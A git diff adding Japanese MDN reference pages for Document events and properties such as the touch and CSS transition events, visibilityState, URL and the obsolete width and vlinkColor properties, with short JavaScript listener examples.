をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.touchmove_event")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li><a href="/ja/docs/Web/API/Touch_events">タッチイベント</a></li> + <li>{{domxref("Element/mousemove_event", "mousemove")}} と {{domxref("GlobalEventHandlers.onmousemove", "onmousemove")}}</li> + <li>{{domxref("Element")}} を対象としたこのイベント: {{domxref("Element/touchmove_event", "touchmove")}}</li> +</ul> diff --git a/files/ja/web/api/document/touchstart_event/index.html b/files/ja/web/api/document/touchstart_event/index.html new file mode 100644 index 0000000000..26def56607 --- /dev/null +++ b/files/ja/web/api/document/touchstart_event/index.html @@ -0,0 +1,56 @@ +--- +title: 'Document: touchstart event' +slug: Web/API/Document/touchstart_event +tags: + - Document + - Event + - Reference + - TouchEvent + - Web + - touchstart + - イベント + - ウェブ +translation_of: Web/API/Document/touchstart_event +--- +<div>{{APIRef}}</div> + +<p><span class="seoSummary"><code>touchstart</code> イベントは、タッチ平面上に1つ以上のタッチポイントが配置されたときに発生します。</span></p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">バブリング</th> + <td>あり</td> + </tr> + <tr> + <th scope="row">キャンセル可能</th> + <td>はい</td> + </tr> + <tr> + <th scope="row">インターフェイス</th> + <td>{{domxref("TouchEvent")}}</td> + </tr> + <tr> + <th scope="row">イベントハンドラープロパティ</th> + <td>{{ domxref("GlobalEventHandlers.ontouchstart","ontouchstart")}}</td> + </tr> + </tbody> +</table> + +<h2 id="Examples" name="Examples">例</h2> + +<p>これらのイベントのコード例は、指定のページ「<a href="/ja/docs/Web/API/Touch_events">タッチイベント</a>」で利用できます。</p> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの対応</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.touchstart_event")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li><a href="/ja/docs/Web/API/Touch_events">タッチイベント</a></li> + <li>{{ domxref("GlobalEventHandlers.ontouchstart","ontouchstart")}}</li> + <li>{{domxref("Element")}} を対象としたこのイベント: <code><a href="/ja/docs/Web/API/Element/touchstart_event">touchstart</a></code></li> +</ul> diff --git a/files/ja/web/api/document/transitioncancel_event/index.html b/files/ja/web/api/document/transitioncancel_event/index.html new file mode 100644 index 0000000000..1e16ffc725 --- /dev/null +++ b/files/ja/web/api/document/transitioncancel_event/index.html @@ -0,0 +1,95 @@ +--- +title: 'Document: transitioncancel イベント' +slug: Web/API/Document/transitioncancel_event +tags: + - Document + - Event + - Reference + - TransitionEvent + - Web + - transitioncancel + - イベント + - ウェブ + - トランジション +translation_of: Web/API/Document/transitioncancel_event +--- +<div>{{APIRef}}{{SeeCompatTable}}</div> + +<p><strong><code>transitioncancel</code></strong> イベントは、 <a href="/ja/docs/Web/CSS/CSS_Transitions/Using_CSS_transitions">CSS トランジション</a>がキャンセルされたときに発生します。</p> + +<p>詳しくは {{domxref("GlobalEventHandlers.ontransitioncancel")}} をご覧ください。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">バブリング</th> + <td>あり</td> + </tr> + <tr> + <th scope="row">キャンセル</th> + <td>不可</td> + </tr> + <tr> + <th scope="row">インターフェイス</th> + <td>{{domxref("TransitionEvent")}}</td> + </tr> + <tr> + <th scope="row">イベントハンドラープロパティ</th> + <td>{{domxref("GlobalEventHandlers.ontransitioncancel")}}</td> + </tr> + </tbody> +</table> + +<p>このイベントの本来の対象は、トランジションが適用された {{domxref("Element")}} です。このイベントを {{domxref("Document")}} インターフェイス上で待ち受けし、キャプチャやバブリングの局面で処理することができます。このイベントについて完全な詳細は、 <a href="/ja/docs/Web/API/HTMLElement/transitioncancel_event">HTMLElement: transitioncancel イベント</a>を参照してください。</p> + +<h2 id="Examples" name="Examples">例</h2> + +<p>このコードは、リスナーに <code>transitioncancel</code> イベントを追加します。</p> + +<pre class="brush: js">document.addEventListener('transitioncancel', () => { + console.log('Transition canceled'); +});</pre> + +<p>同様に、 {{domxref("GlobalEventHandlers.ontransitioncancel", "ontransitioncancel")}} プロパティを <code>addEventListener()</code> の代わりに使用した例です。</p> + +<pre class="brush: js">document.ontransitioncancel = () => { + console.log('Transition canceled'); +};</pre> + +<p><a href="/ja/docs/Web/API/HTMLElement/transitioncancel_event#Live_example">このイベントのライブデモを参照してください。</a></p> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('CSS3 Transitions', '#transitioncancel', 'transitioncancel')}}</td> + <td>{{Spec2('CSS3 Transitions')}}</td> + <td>初回定義</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.transitioncancel_event")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>{{domxref("GlobalEventHandlers.ontransitioncancel")}} イベントハンドラー</li> + <li>{{domxref("TransitionEvent")}} インターフェイス</li> + <li>CSS プロパティ: {{cssxref("transition")}}, {{cssxref("transition-delay")}}, {{cssxref("transition-duration")}}, {{cssxref("transition-property")}}, {{cssxref("transition-timing-function")}}</li> + <li>関連イベント: {{domxref("Document/transitionrun_event", "transitionrun")}}, {{domxref("Document/transitionstart_event", "transitionstart")}}, {{domxref("Document/transitionend_event", "transitionend")}}</li> + <li>{{domxref("HTMLElement")}} を対象としたこのイベント: {{domxref("HTMLElement/transitioncancel_event", "transitioncancel")}}</li> + <li>{{domxref("Window")}} を対象としたこのイベント: {{domxref("Window/transitioncancel_event", "transitioncancel")}}</li> +</ul> diff --git a/files/ja/web/api/document/transitionend_event/index.html b/files/ja/web/api/document/transitionend_event/index.html new file mode 100644 index 0000000000..0781961e3d --- /dev/null +++ b/files/ja/web/api/document/transitionend_event/index.html @@ -0,0 +1,94 @@ +--- +title: 'Document: transitionend イベント' +slug: Web/API/Document/transitionend_event +tags: + - CSS トランジション + - Document + - Event + - Reference + - Web + - transitionend + - イベント + - ウェブ +translation_of: Web/API/Document/transitionend_event +--- +<div>{{APIRef}}</div> + +<p><strong><code>transitionend</code></strong> イベントは、 <a href="/ja/docs/CSS/Using_CSS_transitions">CSS トランジション</a>が完了したときに発生します。トランジションが完了前に削除された場合、例えば {{cssxref("transition-property")}} が削除されたり、 {{cssxref("display")}} が <code>none</code> に設定されたりした場合、イベントは生成されません。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">バブリング</th> + <td>あり</td> + </tr> + <tr> + <th scope="row">キャンセル</th> + <td>可</td> + </tr> + <tr> + <th scope="row">インターフェイス</th> + <td>{{domxref("TransitionEvent")}}</td> + </tr> + <tr> + <th scope="row">イベントハンドラープロパティ</th> + <td>{{domxref("GlobalEventHandlers/ontransitionend", "ontransitionend")}}</td> + </tr> + </tbody> +</table> + +<p><code>transitionend</code> イベントは二つの方向で発生します。 - トランジション終了の状態まで遷移し終わったときと、既定またはトランジションがない状態まで完全に戻ったときです。トランジションに待ち時間や実行時間がない場合、両方が0秒またはどちらも宣言されていなかった場合、トランジションは発生せず、トランジションイベントは発生しません。 <code>transitioncancel</code> イベントが発生すると、 <code>transitionend</code> イベントは発生しません。</p> + +<p>このイベントの本来の対象は、トランジションが適用された {{domxref("Element")}} です。このイベントを {{domxref("Document")}} インターフェイス上で待ち受けし、キャプチャやバブリングの局面で処理することができます。このイベントについて完全な詳細は、 <a href="/ja/docs/Web/API/HTMLElement/transitionend_event">HTMLElement: transitionend イベント</a>を参照してください。</p> + +<h2 id="Examples" name="Examples">例</h2> + +<p>このコードはリスナーに <code>transitionend</code> イベントを追加します。</p> + +<pre class="brush: js">document.addEventListener('transitionend', () => { + console.log('Transition ended'); +});</pre> + +<p>同様に、 {{domxref("GlobalEventHandlers/ontransitioncancel", "ontransitionend")}} プロパティを <code>addEventListener()</code> の代わりに使用した例です。</p> + +<pre class="brush: js">document.ontransitionend = () => { + console.log('Transition ended'); +};</pre> + +<p><a href="/ja/docs/Web/API/HTMLElement/transitionend_event#Live_example">このイベントのライブデモを参照してください。</a></p> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("CSS3 Transitions", "#transitionend", "transitionend")}}</td> + <td>{{Spec2('CSS3 Transitions')}}</td> + <td>初回定義</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.transitionend_event")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>{{domxref("GlobalEventHandlers.ontransitionend")}} イベントハンドラー</li> + <li>{{domxref("TransitionEvent")}} インターフェイス</li> + <li>CSS プロパティ: {{cssxref("transition")}}, {{cssxref("transition-delay")}}, {{cssxref("transition-duration")}}, {{cssxref("transition-property")}}, {{cssxref("transition-timing-function")}}</li> + <li>関連イベント: {{domxref("Document/transitionrun_event", "transitionrun")}}, {{domxref("Document/transitionstart_event", "transitionstart")}}, {{domxref("Document/transitioncancel_event", "transitioncancel")}}</li> + <li>{{domxref("HTMLElement")}} を対象としたこのイベント: {{domxref("HTMLElement/transitionend_event", "transitionend")}}</li> + <li>{{domxref("Window")}} を対象としたこのイベント: {{domxref("Window/transitionend_event", "transitionend")}}</li> +</ul> diff --git a/files/ja/web/api/document/transitionrun_event/index.html b/files/ja/web/api/document/transitionrun_event/index.html new file mode 100644 index 0000000000..0889ea8f37 --- /dev/null +++ b/files/ja/web/api/document/transitionrun_event/index.html @@ -0,0 +1,93 @@ +--- +title: 'Document: transitionrun イベント' +slug: Web/API/Document/transitionrun_event +tags: + - Document + - Event + - Reference + - TransitionEvent + - Web + - transitionrun + - イベント + - ウェブ + - トランジション +translation_of: Web/API/Document/transitionrun_event +--- +<div>{{APIRef}}{{SeeCompatTable}}</div> + +<p><strong><code>transitionrun</code></strong> イベントは、 <a href="/ja/docs/CSS/Using_CSS_transitions">CSS トランジション</a>が最初に生成されたとき、すなわち {{cssxref("transition-delay")}} が始まる前に発生します。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">バブリング</th> + <td>あり</td> + </tr> + <tr> + <th scope="row">キャンセル</th> + <td>不可</td> + </tr> + <tr> + <th scope="row">インターフェイス</th> + <td>{{domxref("TransitionEvent")}}</td> + </tr> + <tr> + <th scope="row">イベントハンドラープロパティ</th> + <td>{{domxref("GlobalEventHandlers/ontransitionrun", "ontransitionrun")}}</td> + </tr> + </tbody> +</table> + +<p>このイベントの本来の対象は、トランジションが適用された {{domxref("Element")}} です。このイベントを {{domxref("Document")}} インターフェイス上で待ち受けし、キャプチャやバブリングの局面で処理することができます。このイベントについて完全な詳細は、 <a href="/ja/docs/Web/API/HTMLElement/transitionrun_event">HTMLElement: transitionrun イベント</a>を参照してください。</p> + +<h2 id="Examples" name="Examples">例</h2> + +<p>次のコードは <code>transitionrun</code> イベントにリスナーを追加します。</p> + +<pre class="brush: js">document.addEventListener('transitionrun', () => { + console.log('Transition is running but hasn't necessarily started transitioning yet'); +});</pre> + +<p>同じですが、 {{domxref("GlobalEventHandlers/ontransitionrun", "ontransitionrun")}} を <code>addEventListener()</code> の代わりに使用すると次のようになります。</p> + +<pre class="brush: js">document.ontransitionrun = () => { + console.log('Transition started running'); +};</pre> + +<p><a href="/ja/docs/Web/API/HTMLElement/transitionrun_event#Live_example">このイベントのライブデモを参照してください。</a></p> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('CSS3 Transitions', '#transitionrun', 'transitionrun')}}</td> + <td>{{Spec2('CSS3 Transitions')}}</td> + <td>初回定義</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.transitionrun_event")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>{{domxref("GlobalEventHandlers.ontransitionrun")}} イベントハンドラー</li> + <li>{{domxref("TransitionEvent")}} インターフェイス</li> + <li>CSS プロパティ: {{cssxref("transition")}}, {{cssxref("transition-delay")}}, {{cssxref("transition-duration")}}, {{cssxref("transition-property")}}, {{cssxref("transition-timing-function")}}</li> + <li>関連イベント: {{domxref("Document/transitionend_event", "transitionend")}}, {{domxref("Document/transitionstart_event", "transitionstart")}}, {{domxref("Document/transitioncancel_event", "transitioncancel")}}</li> + <li>{{domxref("HTMLElement")}} を対象としたこのイベント: {{domxref("HTMLElement/transitionrun_event", "transitionrun")}}</li> + <li>{{domxref("Window")}} を対象としたこのイベント: {{domxref("Window/transitionstart_run", "transitionrun")}}</li> +</ul> diff --git a/files/ja/web/api/document/transitionstart_event/index.html b/files/ja/web/api/document/transitionstart_event/index.html new file mode 100644 index 0000000000..1c8619b2fd --- /dev/null +++ b/files/ja/web/api/document/transitionstart_event/index.html @@ -0,0 +1,95 @@ +--- +title: 'Document: transitionstart イベント' +slug: Web/API/Document/transitionstart_event +tags: + - DOM + - Document + - Event + - Reference + - Web + - transitionstart + - イベント + - ウェブ + - トランジション +translation_of: Web/API/Document/transitionstart_event +--- +<div>{{APIRef}}{{SeeCompatTable}}</div> + +<p><strong><code>transitionstart</code></strong> イベントは、 <a href="/ja/docs/CSS/Using_CSS_transitions">CSS トランジション</a>が実際に始まったとき、すなわち {{cssxref("transition-delay")}} が終了した後に発生します。</p> + +<p><code>transitionstart</code> と <code>transitionrun</code> の違いは、 <code>transitionrun</code> がトランジションが生成されたとき (すなわち、待ち時間の開始) に発生するのに対し、 <code>transitionstart</code> は実際にアニメーションが始まったとき (すなわち、待ち時間の終了) に発生することです。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">バブリング</th> + <td>あり</td> + </tr> + <tr> + <th scope="row">キャンセル</th> + <td>不可</td> + </tr> + <tr> + <th scope="row">インターフェイス</th> + <td>{{domxref("TransitionEvent")}}</td> + </tr> + <tr> + <th scope="row">イベントハンドラープロパティ</th> + <td>{{domxref("GlobalEventHandlers.ontransitionstart")}}</td> + </tr> + </tbody> +</table> + +<p>このイベントの本来の対象は、トランジションが適用された {{domxref("Element")}} です。このイベントを {{domxref("Document")}} インターフェイス上で待ち受けし、キャプチャやバブリングの局面で処理することができます。このイベントについて完全な詳細は、 <a href="/ja/docs/Web/API/HTMLElement/transitionstart_event">HTMLElement: transitionstart イベント</a>を参照してください。</p> + +<h2 id="Examples" name="Examples">例</h2> + +<p>次のコードは <code>transitionstart</code> イベントにリスナーを追加します。</p> + +<pre class="brush: js">document.addEventListener('transitionrun', () => { + console.log('Transition is running but hasn't necessarily started transitioning yet'); +});</pre> + +<p>同じですが、 {{domxref("GlobalEventHandlers/ontransitionstart", "ontransitionstart")}} を <code>addEventListener()</code> の代わりに使用すると次のようになります。</p> + +<pre class="brush: js">document.ontransitionrun = () => { + console.log('Transition started running'); +};</pre> + +<p><a href="/ja/docs/Web/API/HTMLElement/transitionstart_event#Live_example">このイベントのライブデモを参照してください。</a></p> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('CSS3 Transitions', '#transitionstart', 'transitionstart')}}</td> + <td>{{Spec2('CSS3 Transitions')}}</td> + <td>初回定義</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.transitionstart_event")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>{{domxref("GlobalEventHandlers.ontransitionstart")}} イベントハンドラー</li> + <li>{{domxref("TransitionEvent")}} インターフェイス</li> + <li>CSS プロパティ: {{cssxref("transition")}}, {{cssxref("transition-delay")}}, {{cssxref("transition-duration")}}, {{cssxref("transition-property")}}, {{cssxref("transition-timing-function")}}</li> + <li>関連イベント: {{domxref("Document/transitionend_event", "transitionend")}}, {{domxref("Document/transitionrun_event", "transitionrun")}}, {{domxref("Document/transitioncancel_event", "transitioncancel")}}</li> + <li>{{domxref("HTMLElement")}} を対象としたこのイベント: {{domxref("HTMLElement/transitionstart_event", "transitionstart")}}</li> + <li>{{domxref("Window")}} を対象としたこのイベント: {{domxref("Window/transitionstart_event", "transitionstart")}}</li> +</ul> diff --git a/files/ja/web/api/document/url/index.html b/files/ja/web/api/document/url/index.html new file mode 100644 index 0000000000..e881a6c1f2 --- /dev/null +++ b/files/ja/web/api/document/url/index.html @@ -0,0 +1,75 @@ +--- +title: Document.URL +slug: Web/API/Document/URL +tags: + - API + - Document + - HTML DOM + - URL + - プロパティ + - リファレンス +translation_of: Web/API/Document/URL +--- +<div>{{APIRef("DOM")}}</div> + +<p>{{domxref("Document")}} インターフェイスの <code><strong>URL</strong></code> プロパティは読取専用で、文書の位置を文字列で返します。</p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox">var <var>string</var> = document.URL +</pre> + +<h2 id="Example" name="Example">例</h2> + +<h3 id="JavaScript">JavaScript</h3> + +<pre class="brush: js">document.getElementById("url").textContent = document.URL;</pre> + +<h3 id="HTML">HTML</h3> + +<pre class="brush: html"><p id="urlText"> + URL:<br/> + <span id="url">URL goes here</span> +</p></pre> + +<h3 id="Result" name="Result">結果</h3> + +<p>{{EmbedLiveSample("Example", "100%", 100)}}</p> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="spectable standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("DOM WHATWG", "#dom-document-url", "Document.URL")}}</td> + <td>{{Spec2("DOM WHATWG")}}</td> + <td>プロパティを {{domxref("DOMString")}} ではなく {{domxref("USVString")}} と定義</td> + </tr> + <tr> + <td>{{SpecName("DOM1", "level-one-html.html#attribute-URL", "Document.URL")}}</td> + <td>{{Spec2("DOM1")}}</td> + <td>初回定義</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの対応</h2> + +<div> +<p class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力したいのであれば、 <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</p> + +<p>{{Compat("api.Document.URL")}}</p> +</div> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>{{domxref("HTMLDocument")}}</li> +</ul> diff --git a/files/ja/web/api/document/visibilitychange_event/index.html b/files/ja/web/api/document/visibilitychange_event/index.html new file mode 100644 index 0000000000..9cbebfdd7f --- /dev/null +++ b/files/ja/web/api/document/visibilitychange_event/index.html @@ -0,0 +1,84 @@ +--- +title: 'Document: visibilitychange イベント' +slug: Web/API/Document/visibilitychange_event +tags: + - API + - Document + - Event + - Reference + - Visibility + - Web + - visibilitychange +translation_of: Web/API/Document/visibilitychange_event +--- +<div>{{APIRef}}</div> + +<p><code>visibilitychange</code> イベントは、タブのコンテンツが表示状態または非表示状態になったときに document に発生します。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">バブリング</th> + <td>あり</td> + </tr> + <tr> + <th scope="row">キャンセル可能</th> + <td>いいえ</td> + </tr> + <tr> + <th scope="row">インターフェイス</th> + <td>{{domxref("Event")}}</td> + </tr> + <tr> + <th scope="row">イベントハンドラープロパティ</th> + <td>{{domxref("Document.onvisibilitychange", "onvisibilitychange")}}</td> + </tr> + </tbody> +</table> + +<h2 id="Usage_notes" name="Usage_notes">使用上の注意</h2> + +<p>このイベントには、更新された文書の表示・非表示状態が含まれていませんが、この情報は document の {{domxref("Document.visibilityState", "visibilityState")}} プロパティから取得することができます。</p> + +<h2 id="Examples" name="Examples">例</h2> + +<p>この例は、文書が表示状態になった時に音楽を再生し、文書が非表示になった時に音楽を停止します。</p> + +<pre class="brush:js notranslate">document.addEventListener("visibilitychange", function() { + if (document.visibilityState === 'visible') { + backgroundMusic.play(); + } else { + backgroundMusic.pause(); + } +}); +</pre> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('Page Visibility API','#sec-visibilitychange-event','visibilitychange')}}</td> + <td>{{Spec2('Page Visibility API')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<p>{{Compat("api.Document.visibilitychange")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li><a href="/ja/docs/DOM/Using_the_Page_Visibility_API">Page Visibility API の使用</a></li> + <li>{{domxref("Document.visibilityState")}}</li> +</ul> diff --git a/files/ja/web/api/document/visibilitystate/index.html b/files/ja/web/api/document/visibilitystate/index.html new file mode 100644 index 0000000000..e99de9bc42 --- /dev/null +++ b/files/ja/web/api/document/visibilitystate/index.html @@ -0,0 +1,65 @@ +--- +title: Document.visibilityState +slug: Web/API/Document/visibilityState +tags: + - DOM + - Document + - Page Visibility API + - Property + - Read-only + - Reference + - Web +translation_of: Web/API/Document/visibilityState +--- +<p>{{ ApiRef("DOM") }}</p> + +<p><span class="seoSummary"><strong><code>Document.visibilityState</code></strong> 読み取り専用プロパティは、文書 ({{domxref('document')}}) の可視性、つまりこの要素が現在表示されているかのコンテキストを返します。 文書がバックグラウンドにあるのか、非表示のタブにあるのか、プリレンダリングのためにのみ読み込まれるのかを知ることは有用です。</span> 可能な値は次のとおりです。</p> + +<dl> + <dt><code>visible</code></dt> + <dd>ページのコンテンツは、少なくとも部分的に表示される場合があります。実際には、これはページが最小化されていないウィンドウのフォアグラウンドタブであることを意味します。</dd> + <dt><code>hidden</code></dt> + <dd>ページのコンテンツはユーザーには表示されません。実際には、これは文書がバックグラウンドタブまたは最小化されたウィンドウの一部であるか、 OS の画面ロックがアクティブであることを意味します。</dd> + <dt><code>prerender</code> {{deprecated_inline}}</dt> + <dd>ページのコンテンツはプリレンダリングされており、ユーザーには表示されません (<code><a href="/ja/docs/Web/API/Document/hidden">document.hidden</a></code> の目的で非表示と見なされます)。 文書はこの状態で開始する場合がありますが、別の値から移行することはありません。 注: これは標準から削除されました。 詳細については、互換性の表を確認してください。</dd> +</dl> + +<p>このプロパティの値が変更されると、 {{domxref("Document/visibilitychange_event", "visibilitychange")}} イベントが {{domxref("Document")}} に送信されます。</p> + +<p>これの一般的な用途は、文書がプリレンダリングされている場合に一部のアセットのダウンロードを防止したり、文書がバックグラウンドにあるか最小化されている場合に一部のアクティビティを停止したりすることです。</p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox notranslate">var <var>string</var> = document.visibilityState</pre> + +<h2 id="Examples">Examples</h2> + +<pre class="brush:js; line-numbers language-js notranslate">document.addEventListener("visibilitychange", function() { + console.log( document.visibilityState ); + // 振る舞いを変更します... +})</pre> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('Page Visibility API','#visibility-states-and-the-visibilitystate-enum', 'Document.visibilityState')}}</td> + <td>{{Spec2('Page Visibility API')}}</td> + <td>初回定義</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.visibilityState")}}</p> diff --git a/files/ja/web/api/document/vlinkcolor/index.html b/files/ja/web/api/document/vlinkcolor/index.html new file mode 100644 index 0000000000..f965036b6b --- /dev/null +++ b/files/ja/web/api/document/vlinkcolor/index.html @@ -0,0 +1,47 @@ +--- +title: Document.vlinkColor +slug: Web/API/Document/vlinkColor +tags: + - API + - Deprecated + - Document + - HTML DOM + - Property + - Reference + - プロパティ + - 非推奨 +translation_of: Web/API/Document/vlinkColor +--- +<div>{{APIRef("DOM")}} {{ Deprecated_header() }}</div> + +<p><code><strong>Document.vlinkColor</strong></code> プロパティは、文書内のユーザーが訪問済みのリンクの色を取得または設定します。</p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox"><var>color</var> = <var>document</var>.vlinkColor +<var>document</var>.vlinkColor = <var>color</var> +</pre> + +<h3 id="Parameters" name="Parameters">引数</h3> + +<ul> + <li><code>color</code> は、色を表す単語 (<code>red</code> など) または16進値 (<code>#ff0000</code> など) の文字列です。</li> +</ul> + +<h2 id="Notes" name="Notes">メモ</h2> + +<ul> + <li>Mozilla Firefox ではこのプロパティの初期値は紫 (16進で <code>#551a8b</code>) です。 + + <p> </p> + </li> + <li><code>Document.vlinkColor</code> は <a href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-26809268">DOM Level 2 HTML では非推奨です</a>。</li> + <li>推奨される代替方法は、 HTML の {{HtmlElement("a")}} 要素において CSS で {{ Cssxref(":visited") }} 擬似クラスの色を設定または取得する方法です (例えば <code>a:visited {color:red;}</code>)。</li> + <li>他の代替方法に <code>document.body.vLink</code> がありますが、これは <a href="http://www.w3.org/TR/html401/struct/global.html#adef-vlink">HTML 4.01 で非推奨</a>となり、 CSS で代替されました。</li> +</ul> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの対応</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力したいのであれば、 <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.vlinkColor")}}</p> diff --git a/files/ja/web/api/document/width/index.html b/files/ja/web/api/document/width/index.html new file mode 100644 index 0000000000..519fce7b1b --- /dev/null +++ b/files/ja/web/api/document/width/index.html @@ -0,0 +1,59 @@ +--- +title: Document.width +slug: Web/API/Document/width +tags: + - API + - Document + - HTML DOM + - Obsolete + - Reference + - width + - プロパティ +translation_of: Web/API/Document/width +--- +<div>{{APIRef("DOM")}} {{Obsolete_header}}</div> + +<div class="note"> +<p><strong>メモ:</strong> {{Gecko("6.0")}} より <code>document.width</code> には対応しなくなりました。代わりに <code>document.body.clientWidth</code> を使用してください。 {{domxref("element.clientWidth")}} を参照して下さい。</p> +</div> + +<p>現在の文書の {{HTMLElement("body")}} 要素の現在の幅をピクセル値で返します。</p> + +<p>Internet Explorer では対応していません。</p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox"><var>pixels</var> = document.width; +</pre> + +<h2 id="Example" name="Example">例</h2> + +<pre class="brush:js">function init() { + alert("文書の幅は " + document.width + " ピクセルです。"); +} +</pre> + +<h2 id="Alternatives" name="Alternatives">代替策</h2> + +<pre class="syntaxbox">document.body.clientWidth /* <body> の幅 */ +document.documentElement.clientWidth /* <html> の幅 */ +window.innerWidth /* window の内寸幅 */ +</pre> + +<h2 id="Specification" name="Specification">仕様書</h2> + +<p>HTML5</p> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの対応</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.width")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>{{domxref("document.height")}}</li> + <li>{{domxref("Element.clientWidth")}}</li> + <li>{{domxref("Element.scrollWidth")}}</li> +</ul> diff --git a/files/ja/web/api/document/write/index.html b/files/ja/web/api/document/write/index.html new file mode 100644 index 0000000000..001be34b9f --- /dev/null +++ b/files/ja/web/api/document/write/index.html @@ -0,0 +1,112 @@ +--- +title: Document.write() +slug: Web/API/Document/write +tags: + - API + - DOM + - Document + - Method + - Reference + - write +translation_of: Web/API/Document/write +--- 